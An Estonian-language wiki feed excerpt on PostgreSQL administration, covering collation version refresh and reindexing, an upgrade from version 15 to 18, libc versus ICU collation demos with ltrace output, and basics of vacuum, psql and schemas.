psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
Mõisted&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4210</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4210"/>
		<updated>2026-06-14T23:16:17Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* ICU - International Components for Unicode */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
